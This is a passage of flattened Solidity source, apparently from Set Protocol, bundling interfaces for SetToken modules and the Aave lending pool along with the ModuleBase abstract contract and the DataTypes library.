getModuleFee(address _module, uint256 _feeType) external view returns(uint256); function isModule(address _module) external view returns(bool); function isSet(address _setToken) external view returns(bool); function isSystemContract(address _contractAddress) external view returns (bool); function resourceId(uint256 _id) external view returns(address); } /* Copyright 2021 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { ISetToken } from "./ISetToken.sol"; /** * @title IDebtIssuanceModule * @author Set Protocol * * Interface for interacting with Debt Issuance module interface. */ interface IDebtIssuanceModule { /** * Called by another module to register itself on debt issuance module. Any logic can be included * in case checks need to be made or state needs to be updated. */ function registerToIssuanceModule(ISetToken _setToken) external; /** * Called by another module to unregister itself on debt issuance module. Any logic can be included * in case checks need to be made or state needs to be cleared. */ function unregisterFromIssuanceModule(ISetToken _setToken) external; } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; interface IExchangeAdapter { function getSpender() external view returns(address); function getTradeCalldata( address _fromToken, address _toToken, address _toAddress, uint256 _fromQuantity, uint256 _minToQuantity, bytes memory _data ) external view returns (address, uint256, bytes memory); } /* Copyright 2021 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import { ILendingPoolAddressesProvider } from "./ILendingPoolAddressesProvider.sol"; import { DataTypes } from "./lib/DataTypes.sol"; interface ILendingPool { /** * @dev Emitted on deposit() * @param reserve The address of the underlying asset of the reserve * @param user The address initiating the deposit * @param onBehalfOf The beneficiary of the deposit, receiving the aTokens * @param amount The amount deposited * @param referral The referral code used **/ event Deposit( address indexed reserve, address user, address indexed onBehalfOf, uint256 amount, uint16 indexed referral ); /** * @dev Emitted on withdraw() * @param reserve The address of the underlyng asset being withdrawn * @param user The address initiating the withdrawal, owner of aTokens * @param to Address that will receive the underlying * @param amount The amount to be withdrawn **/ event Withdraw(address indexed reserve, address indexed user, address indexed to, uint256 amount); /** * @dev Emitted on borrow() and flashLoan() when debt needs to be opened * @param reserve The address of the underlying asset being borrowed * @param user The address of the user initiating the borrow(), receiving the funds on borrow() or just * initiator of the transaction on flashLoan() * @param onBehalfOf The address that will be getting the debt * @param amount The amount borrowed out * @param borrowRateMode The rate mode: 1 for Stable, 2 for Variable * @param borrowRate The numeric rate at which the user has borrowed * @param referral The referral code used **/ event Borrow( address indexed reserve, address user, address indexed onBehalfOf, uint256 amount, uint256 borrowRateMode, uint256 borrowRate, uint16 indexed referral ); /** * @dev Emitted on repay() * @param reserve The address of the underlying asset of the reserve * @param user The beneficiary of the repayment, getting his debt reduced * @param repayer The address of the user initiating the repay(), providing the funds * @param amount The amount repaid **/ event Repay( address indexed reserve, address indexed user, address indexed repayer, uint256 amount ); /** * @dev Emitted on swapBorrowRateMode() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user swapping his rate mode * @param rateMode The rate mode that the user wants to swap to **/ event Swap(address indexed reserve, address indexed user, uint256 rateMode); /** * @dev Emitted on setUserUseReserveAsCollateral() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user enabling the usage as collateral **/ event ReserveUsedAsCollateralEnabled(address indexed reserve, address indexed user); /** * @dev Emitted on setUserUseReserveAsCollateral() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user enabling the usage as collateral **/ event ReserveUsedAsCollateralDisabled(address indexed reserve, address indexed user); /** * @dev Emitted on rebalanceStableBorrowRate() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user for which the rebalance has been executed **/ event RebalanceStableBorrowRate(address indexed reserve, address indexed user); /** * @dev Emitted on flashLoan() * @param target The address of the flash loan receiver contract * @param initiator The address initiating the flash loan * @param asset The address of the asset being flash borrowed * @param amount The amount flash borrowed * @param premium The fee flash borrowed * @param referralCode The referral code used **/ event FlashLoan( address indexed target, address indexed initiator, address indexed asset, uint256 amount, uint256 premium, uint16 referralCode ); /** * @dev Emitted when the pause is triggered. */ event Paused(); /** * @dev Emitted when the pause is lifted. */ event Unpaused(); /** * @dev Emitted when a borrower is liquidated. This event is emitted by the LendingPool via * LendingPoolCollateral manager using a DELEGATECALL * This allows to have the events in the generated ABI for LendingPool. * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation * @param user The address of the borrower getting liquidated * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover * @param liquidatedCollateralAmount The amount of collateral received by the liiquidator * @param liquidator The address of the liquidator * @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants * to receive the underlying collateral asset directly **/ event LiquidationCall( address indexed collateralAsset, address indexed debtAsset, address indexed user, uint256 debtToCover, uint256 liquidatedCollateralAmount, address liquidator, bool receiveAToken ); /** * @dev Emitted when the state of a reserve is updated. NOTE: This event is actually declared * in the ReserveLogic library and emitted in the updateInterestRates() function. Since the function is internal, * the event will actually be fired by the LendingPool contract. The event is therefore replicated here so it * gets added to the LendingPool ABI * @param reserve The address of the underlying asset of the reserve * @param liquidityRate The new liquidity rate * @param stableBorrowRate The new stable borrow rate * @param variableBorrowRate The new variable borrow rate * @param liquidityIndex The new liquidity index * @param variableBorrowIndex The new variable borrow index **/ event ReserveDataUpdated( address indexed reserve, uint256 liquidityRate, uint256 stableBorrowRate, uint256 variableBorrowRate, uint256 liquidityIndex, uint256 variableBorrowIndex ); /** * @dev Deposits an `amount` of underlying asset into the reserve, receiving in return overlying aTokens. * - E.g. User deposits 100 USDC and gets in return 100 aUSDC * @param asset The address of the underlying asset to deposit * @param amount The amount to be deposited * @param onBehalfOf The address that will receive the aTokens, same as msg.sender if the user * wants to receive them on his own wallet, or a different address if the beneficiary of aTokens * is a different wallet * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man **/ function deposit( address asset, uint256 amount, address onBehalfOf, uint16 referralCode ) external; /** * @dev Withdraws an `amount` of underlying asset from the reserve, burning the equivalent aTokens owned * E.g. User has 100 aUSDC, calls withdraw() and receives 100 USDC, burning the 100 aUSDC * @param asset The address of the underlying asset to withdraw * @param amount The underlying amount to be withdrawn * - Send the value type(uint256).max in order to withdraw the whole aToken balance * @param to Address that will receive the underlying, same as msg.sender if the user * wants to receive it on his own wallet, or a different address if the beneficiary is a * different wallet * @return The final amount withdrawn **/ function withdraw( address asset, uint256 amount, address to ) external returns (uint256); /** * @dev Allows users to borrow a specific `amount` of the reserve underlying asset, provided that the borrower * already deposited enough collateral, or he was given enough allowance by a credit delegator on the * corresponding debt token (StableDebtToken or VariableDebtToken) * - E.g. User borrows 100 USDC passing as `onBehalfOf` his own address, receiving the 100 USDC in his wallet * and 100 stable/variable debt tokens, depending on the `interestRateMode` * @param asset The address of the underlying asset to borrow * @param amount The amount to be borrowed * @param interestRateMode The interest rate mode at which the user wants to borrow: 1 for Stable, 2 for Variable * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man * @param onBehalfOf Address of the user who will receive the debt. Should be the address of the borrower itself * calling the function if he wants to borrow against his own collateral, or the address of the credit delegator * if he has been given credit delegation allowance **/ function borrow( address asset, uint256 amount, uint256 interestRateMode, uint16 referralCode, address onBehalfOf ) external; /** * @notice Repays a borrowed `amount` on a specific reserve, burning the equivalent debt tokens owned * - E.g. User repays 100 USDC, burning 100 variable/stable debt tokens of the `onBehalfOf` address * @param asset The address of the borrowed underlying asset previously borrowed * @param amount The amount to repay * - Send the value type(uint256).max in order to repay the whole debt for `asset` on the specific `debtMode` * @param rateMode The interest rate mode at of the debt the user wants to repay: 1 for Stable, 2 for Variable * @param onBehalfOf Address of the user who will get his debt reduced/removed. Should be the address of the * user calling the function if he wants to reduce/remove his own debt, or the address of any other * other borrower whose debt should be removed * @return The final amount repaid **/ function repay( address asset, uint256 amount, uint256 rateMode, address onBehalfOf ) external returns (uint256); /** * @dev Allows a borrower to swap his debt between stable and variable mode, or viceversa * @param asset The address of the underlying asset borrowed * @param rateMode The rate mode that the user wants to swap to **/ function swapBorrowRateMode(address asset, uint256 rateMode) external; /** * @dev Rebalances the stable interest rate of a user to the current stable rate defined on the reserve. * - Users can be rebalanced if the following conditions are satisfied: * 1. Usage ratio is above 95% * 2. the current deposit APY is below REBALANCE_UP_THRESHOLD * maxVariableBorrowRate, which means that too much has been * borrowed at a stable rate and depositors are not earning enough * @param asset The address of the underlying asset borrowed * @param user The address of the user to be rebalanced **/ function rebalanceStableBorrowRate(address asset, address user) external; /** * @dev Allows depositors to enable/disable a specific deposited asset as collateral * @param asset The address of the underlying asset deposited * @param useAsCollateral `true` if the user wants to use the deposit as collateral, `false` otherwise **/ function setUserUseReserveAsCollateral(address asset, bool useAsCollateral) external; /** * @dev Function to liquidate a non-healthy position collateral-wise, with Health Factor below 1 * - The caller (liquidator) covers `debtToCover` amount of debt of the user getting liquidated, and receives * a proportionally amount of the `collateralAsset` plus a bonus to cover market risk * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation * @param user The address of the borrower getting liquidated * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover * @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants * to receive the underlying collateral asset directly **/ function liquidationCall( address collateralAsset, address debtAsset, address user, uint256 debtToCover, bool receiveAToken ) external; /** * @dev Allows smartcontracts to access the liquidity of the pool within one transaction, * as long as the amount taken plus a fee is returned. * IMPORTANT There are security concerns for developers of flashloan receiver contracts that must be kept into consideration. * For further details please visit https://developers.aave.com * @param receiverAddress The address of the contract receiving the funds, implementing the IFlashLoanReceiver interface * @param assets The addresses of the assets being flash-borrowed * @param amounts The amounts amounts being flash-borrowed * @param modes Types of the debt to open if the flash loan is not returned: * 0 -> Don't open any debt, just revert if funds can't be transferred from the receiver * 1 -> Open debt at stable rate for the value of the amount flash-borrowed to the `onBehalfOf` address * 2 -> Open debt at variable rate for the value of the amount flash-borrowed to the `onBehalfOf` address * @param onBehalfOf The address that will receive the debt in the case of using on `modes` 1 or 2 * @param params Variadic packed params to pass to the receiver as extra information * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man **/ function flashLoan( address receiverAddress, address[] calldata assets, uint256[] calldata amounts, uint256[] calldata modes, address onBehalfOf, bytes calldata params, uint16 referralCode ) external; /** * @dev Returns the user account data across all the reserves * @param user The address of the user * @return totalCollateralETH the total collateral in ETH of the user * @return totalDebtETH the total debt in ETH of the user * @return availableBorrowsETH the borrowing power left of the user * @return currentLiquidationThreshold the liquidation threshold of the user * @return ltv the loan to value of the user * @return healthFactor the current health factor of the user **/ function getUserAccountData(address user) external view returns ( uint256 totalCollateralETH, uint256 totalDebtETH, uint256 availableBorrowsETH, uint256 currentLiquidationThreshold, uint256 ltv, uint256 healthFactor ); function initReserve( address reserve, address aTokenAddress, address stableDebtAddress, address variableDebtAddress, address interestRateStrategyAddress ) external; function setReserveInterestRateStrategyAddress(address reserve, address rateStrategyAddress) external; function setConfiguration(address reserve, uint256 configuration) external; /** * @dev Returns the configuration of the reserve * @param asset The address of the underlying asset of the reserve * @return The configuration of the reserve **/ function getConfiguration(address asset) external view returns (DataTypes.ReserveConfigurationMap memory); /** * @dev Returns the configuration of the user across all the reserves * @param user The user address * @return The configuration of the user **/ function getUserConfiguration(address user) external view returns (DataTypes.UserConfigurationMap memory); /** * @dev Returns the normalized income normalized income of the reserve * @param asset The address of the underlying asset of the reserve * @return The reserve's normalized income */ function getReserveNormalizedIncome(address asset) external view returns (uint256); /** * @dev Returns the normalized variable debt per unit of asset * @param asset The address of the underlying asset of the reserve * @return The reserve normalized variable debt */ function getReserveNormalizedVariableDebt(address asset) external view returns (uint256); /** * @dev Returns the state and configuration of the reserve * @param asset The address of the underlying asset of the reserve * @return The state of the reserve **/ function getReserveData(address asset) external view returns (DataTypes.ReserveData memory); function finalizeTransfer( address asset, address from, address to, uint256 amount, uint256 balanceFromAfter, uint256 balanceToBefore ) external; function getReservesList() external view returns (address[] memory); function getAddressesProvider() external view returns (ILendingPoolAddressesProvider); function setPause(bool val) external; function paused() external view returns (bool); } /* Copyright 2021 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; /** * @title LendingPoolAddressesProvider contract * @dev Main registry of addresses part of or connected to the protocol, including permissioned roles * - Acting also as factory of proxies and admin of those, so with right to change its implementations * - Owned by the Aave Governance * @author Aave **/ interface ILendingPoolAddressesProvider { event MarketIdSet(string newMarketId); event LendingPoolUpdated(address indexed newAddress); event ConfigurationAdminUpdated(address indexed newAddress); event EmergencyAdminUpdated(address indexed newAddress); event LendingPoolConfiguratorUpdated(address indexed newAddress); event LendingPoolCollateralManagerUpdated(address indexed newAddress); event PriceOracleUpdated(address indexed newAddress); event LendingRateOracleUpdated(address indexed newAddress); event ProxyCreated(bytes32 id, address indexed newAddress); event AddressSet(bytes32 id, address indexed newAddress, bool hasProxy); function getMarketId() external view returns (string memory); function setMarketId(string calldata marketId) external; function setAddress(bytes32 id, address newAddress) external; function setAddressAsProxy(bytes32 id, address impl) external; function getAddress(bytes32 id) external view returns (address); function getLendingPool() external view returns (address); function setLendingPoolImpl(address pool) external; function getLendingPoolConfigurator() external view returns (address); function setLendingPoolConfiguratorImpl(address configurator) external; function getLendingPoolCollateralManager() external view returns (address); function setLendingPoolCollateralManager(address manager) external; function getPoolAdmin() external view returns (address); function setPoolAdmin(address admin) external; function getEmergencyAdmin() external view returns (address); function setEmergencyAdmin(address admin) external; function getPriceOracle() external view returns (address); function setPriceOracle(address priceOracle) external; function getLendingRateOracle() external view returns (address); function setLendingRateOracle(address lendingRateOracle) external; } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { ISetToken } from "./ISetToken.sol"; /** * CHANGELOG: * - Added a module level issue hook that can be used to set state ahead of component level * issue hooks */ interface IModuleIssuanceHook { function moduleIssueHook(ISetToken _setToken, uint256 _setTokenQuantity) external; function moduleRedeemHook(ISetToken _setToken, uint256 _setTokenQuantity) external; function componentIssueHook( ISetToken _setToken, uint256 _setTokenQuantity, IERC20 _component, bool _isEquity ) external; function componentRedeemHook( ISetToken _setToken, uint256 _setTokenQuantity, IERC20 _component, bool _isEquity ) external; } /* Copyright 2021 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import { ILendingPoolAddressesProvider } from "./ILendingPoolAddressesProvider.sol"; interface IProtocolDataProvider { struct TokenData { string symbol; address tokenAddress; } function ADDRESSES_PROVIDER() external view returns (ILendingPoolAddressesProvider); function getAllReservesTokens() external view returns (TokenData[] memory); function getAllATokens() external view returns (TokenData[] memory); function getReserveConfigurationData(address asset) external view returns (uint256 decimals, uint256 ltv, uint256 liquidationThreshold, uint256 liquidationBonus, uint256 reserveFactor, bool usageAsCollateralEnabled, bool borrowingEnabled, bool stableBorrowRateEnabled, bool isActive, bool isFrozen); function getReserveData(address asset) external view returns (uint256 availableLiquidity, uint256 totalStableDebt, uint256 totalVariableDebt, uint256 liquidityRate, uint256 variableBorrowRate, uint256 stableBorrowRate, uint256 averageStableBorrowRate, uint256 liquidityIndex, uint256 variableBorrowIndex, uint40 lastUpdateTimestamp); function getUserReserveData(address asset, address user) external view returns (uint256 currentATokenBalance, uint256 currentStableDebt, uint256 currentVariableDebt, uint256 principalStableDebt, uint256 scaledVariableDebt, uint256 stableBorrowRate, uint256 liquidityRate, uint40 stableRateLastUpdated, bool usageAsCollateralEnabled); function getReserveTokensAddresses(address asset) external view returns (address aTokenAddress, address stableDebtTokenAddress, address variableDebtTokenAddress); } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; pragma experimental "ABIEncoderV2"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title ISetToken * @author Set Protocol * * Interface for operating with SetTokens. */ interface ISetToken is IERC20 { /* ============ Enums ============ */ enum ModuleState { NONE, PENDING, INITIALIZED } /* ============ Structs ============ */ /** * The base definition of a SetToken Position * * @param component Address of token in the Position * @param module If not in default state, the address of associated module * @param unit Each unit is the # of components per 10^18 of a SetToken * @param positionState Position ENUM. Default is 0; External is 1 * @param data Arbitrary data */ struct Position { address component; address module; int256 unit; uint8 positionState; bytes data; } /** * A struct that stores a component's cash position details and external positions * This data structure allows O(1) access to a component's cash position units and * virtual units. * * @param virtualUnit Virtual value of a component's DEFAULT position. Stored as virtual for efficiency * updating all units at once via the position multiplier. Virtual units are achieved * by dividing a "real" value by the "positionMultiplier" * @param componentIndex * @param externalPositionModules List of external modules attached to each external position. Each module * maps to an external position * @param externalPositions Mapping of module => ExternalPosition struct for a given component */ struct ComponentPosition { int256 virtualUnit; address[] externalPositionModules; mapping(address => ExternalPosition) externalPositions; } /** * A struct that stores a component's external position details including virtual unit and any * auxiliary data. * * @param virtualUnit Virtual value of a component's EXTERNAL position. * @param data Arbitrary data */ struct ExternalPosition { int256 virtualUnit; bytes data; } /* ============ Functions ============ */ function addComponent(address _component) external; function removeComponent(address _component) external; function editDefaultPositionUnit(address _component, int256 _realUnit) external; function addExternalPositionModule(address _component, address _positionModule) external; function removeExternalPositionModule(address _component, address _positionModule) external; function editExternalPositionUnit(address _component, address _positionModule, int256 _realUnit) external; function editExternalPositionData(address _component, address _positionModule, bytes calldata _data) external; function invoke(address _target, uint256 _value, bytes calldata _data) external returns(bytes memory); function editPositionMultiplier(int256 _newMultiplier) external; function mint(address _account, uint256 _quantity) external; function burn(address _account, uint256 _quantity) external; function lock() external; function unlock() external; function addModule(address _module) external; function removeModule(address _module) external; function initializeModule() external; function setManager(address _manager) external; function manager() external view returns (address); function moduleStates(address _module) external view returns (ModuleState); function getModules() external view returns (address[] memory); function getDefaultPositionRealUnit(address _component) external view returns(int256); function getExternalPositionRealUnit(address _component, address _positionModule) external view returns(int256); function getComponents() external view returns(address[] memory); function getExternalPositionModules(address _component) external view returns(address[] memory); function getExternalPositionData(address _component, address _positionModule) external view returns(bytes memory); function isExternalPositionModule(address _component, address _module) external view returns(bool); function isComponent(address _component) external view returns(bool); function positionMultiplier() external view returns (int256); function getPositions() external view returns (Position[] memory); function getTotalComponentRealUnits(address _component) external view returns(int256); function isInitializedModule(address _module) external view returns(bool); function isPendingModule(address _module) external view returns(bool); function isLocked() external view returns (bool); } /* Copyright 2021 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title IVariableDebtToken * @author Aave * @notice Defines the basic interface for a variable debt token. **/ interface IVariableDebtToken is IERC20 {} /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { AddressArrayUtils } from "../../lib/AddressArrayUtils.sol"; import { ExplicitERC20 } from "../../lib/ExplicitERC20.sol"; import { IController } from "../../interfaces/IController.sol"; import { IModule } from "../../interfaces/IModule.sol"; import { ISetToken } from "../../interfaces/ISetToken.sol"; import { Invoke } from "./Invoke.sol"; import { Position } from "./Position.sol"; import { PreciseUnitMath } from "../../lib/PreciseUnitMath.sol"; import { ResourceIdentifier } from "./ResourceIdentifier.sol"; import { SafeCast } from "@openzeppelin/contracts/utils/SafeCast.sol"; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { SignedSafeMath } from "@openzeppelin/contracts/math/SignedSafeMath.sol"; /** * @title ModuleBase * @author Set Protocol * * Abstract class that houses common Module-related state and functions. * * CHANGELOG: * - 4/21/21: Delegated modifier logic to internal helpers to reduce contract size * */ abstract contract ModuleBase is IModule { using AddressArrayUtils for address[]; using Invoke for ISetToken; using Position for ISetToken; using PreciseUnitMath for uint256; using ResourceIdentifier for IController; using SafeCast for int256; using SafeCast for uint256; using SafeMath for uint256; using SignedSafeMath for int256; /* ============ State Variables ============ */ // Address of the controller IController public controller; /* ============ Modifiers ============ */ modifier onlyManagerAndValidSet(ISetToken _setToken) { _validateOnlyManagerAndValidSet(_setToken); _; } modifier onlySetManager(ISetToken _setToken, address _caller) { _validateOnlySetManager(_setToken, _caller); _; } modifier onlyValidAndInitializedSet(ISetToken _setToken) { _validateOnlyValidAndInitializedSet(_setToken); _; } /** * Throws if the sender is not a SetToken's module or module not enabled */ modifier onlyModule(ISetToken _setToken) { _validateOnlyModule(_setToken); _; } /** * Utilized during module initializations to check that the module is in pending state * and that the SetToken is valid */ modifier onlyValidAndPendingSet(ISetToken _setToken) { _validateOnlyValidAndPendingSet(_setToken); _; } /* ============ Constructor ============ */ /** * Set state variables and map asset pairs to their oracles * * @param _controller Address of controller contract */ constructor(IController _controller) public { controller = _controller; } /* ============ Internal Functions ============ */ /** * Transfers tokens from an address (that has set allowance on the module). * * @param _token The address of the ERC20 token * @param _from The address to transfer from * @param _to The address to transfer to * @param _quantity The number of tokens to transfer */ function transferFrom(IERC20 _token, address _from, address _to, uint256 _quantity) internal { ExplicitERC20.transferFrom(_token, _from, _to, _quantity); } /** * Gets the integration for the module with the passed in name. Validates that the address is not empty */ function getAndValidateAdapter(string memory _integrationName) internal view returns(address) { bytes32 integrationHash = getNameHash(_integrationName); return getAndValidateAdapterWithHash(integrationHash); } /** * Gets the integration for the module with the passed in hash. Validates that the address is not empty */ function getAndValidateAdapterWithHash(bytes32 _integrationHash) internal view returns(address) { address adapter = controller.getIntegrationRegistry().getIntegrationAdapterWithHash( address(this), _integrationHash ); require(adapter != address(0), "Must be valid adapter"); return adapter; } /** * Gets the total fee for this module of the passed in index (fee % * quantity) */ function getModuleFee(uint256 _feeIndex, uint256 _quantity) internal view returns(uint256) { uint256 feePercentage = controller.getModuleFee(address(this), _feeIndex); return _quantity.preciseMul(feePercentage); } /** * Pays the _feeQuantity from the _setToken denominated in _token to the protocol fee recipient */ function payProtocolFeeFromSetToken(ISetToken _setToken, address _token, uint256 _feeQuantity) internal { if (_feeQuantity > 0) { _setToken.strictInvokeTransfer(_token, controller.feeRecipient(), _feeQuantity); } } /** * Returns true if the module is in process of initialization on the SetToken */ function isSetPendingInitialization(ISetToken _setToken) internal view returns(bool) { return _setToken.isPendingModule(address(this)); } /** * Returns true if the address is the SetToken's manager */ function isSetManager(ISetToken _setToken, address _toCheck) internal view returns(bool) { return _setToken.manager() == _toCheck; } /** * Returns true if SetToken must be enabled on the controller * and module is registered on the SetToken */ function isSetValidAndInitialized(ISetToken _setToken) internal view returns(bool) { return controller.isSet(address(_setToken)) && _setToken.isInitializedModule(address(this)); } /** * Hashes the string and returns a bytes32 value */ function getNameHash(string memory _name) internal pure returns(bytes32) { return keccak256(bytes(_name)); } /* ============== Modifier Helpers =============== * Internal functions used to reduce bytecode size */ /** * Caller must SetToken manager and SetToken must be valid and initialized */ function _validateOnlyManagerAndValidSet(ISetToken _setToken) internal view { require(isSetManager(_setToken, msg.sender), "Must be the SetToken manager"); require(isSetValidAndInitialized(_setToken), "Must be a valid and initialized SetToken"); } /** * Caller must SetToken manager */ function _validateOnlySetManager(ISetToken _setToken, address _caller) internal view { require(isSetManager(_setToken, _caller), "Must be the SetToken manager"); } /** * SetToken must be valid and initialized */ function _validateOnlyValidAndInitializedSet(ISetToken _setToken) internal view { require(isSetValidAndInitialized(_setToken), "Must be a valid and initialized SetToken"); } /** * Caller must be initialized module and module must be enabled on the controller */ function _validateOnlyModule(ISetToken _setToken) internal view { require( _setToken.moduleStates(msg.sender) == ISetToken.ModuleState.INITIALIZED, "Only the module can call" ); require( controller.isModule(msg.sender), "Module must be enabled on controller" ); } /** * SetToken must be in a pending state and module must be in pending state */ function _validateOnlyValidAndPendingSet(ISetToken _setToken) internal view { require(controller.isSet(address(_setToken)), "Must be controller-enabled SetToken"); require(isSetPendingInitialization(_setToken), "Must be pending initialization"); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /* Copyright 2021 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; library DataTypes { // refer to the whitepaper, section 1.1 basic concepts for a formal description of these properties. struct ReserveData { //stores the reserve configuration ReserveConfigurationMap configuration; //the liquidity index. Expressed in ray uint128 liquidityIndex; //variable borrow index. Expressed in ray uint128 variableBorrowIndex; //the current supply rate. Expressed in ray uint128 currentLiquidityRate; //the current variable borrow rate. Expressed in ray uint128 currentVariableBorrowRate; //the current stable borrow rate. Expressed in ray uint128 currentStableBorrowRate; uint40 lastUpdateTimestamp; //tokens addresses address aTokenAddress; address stableDebtTokenAddress; address variableDebtTokenAddress; //address of the interest rate strategy address interestRateStrategyAddress; //the id of the reserve. Represents the position in the list of the active reserves uint8 id; } struct ReserveConfigurationMap { //bit 0-15: LTV //bit 16-31: Liq. threshold //bit 32-47: Liq. bonus //bit 48-55: Decimals //bit 56: Reserve is active //bit 57: reserve is frozen //bit 58: borrowing is enabled //bit 59: stable rate borrowing enabled //bit 60-63: reserved //bit 64-79: reserve factor uint256 data; } struct UserConfigurationMap { uint256 data; } enum InterestRateMode {NONE, STABLE, VARIABLE} } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; /** * @title 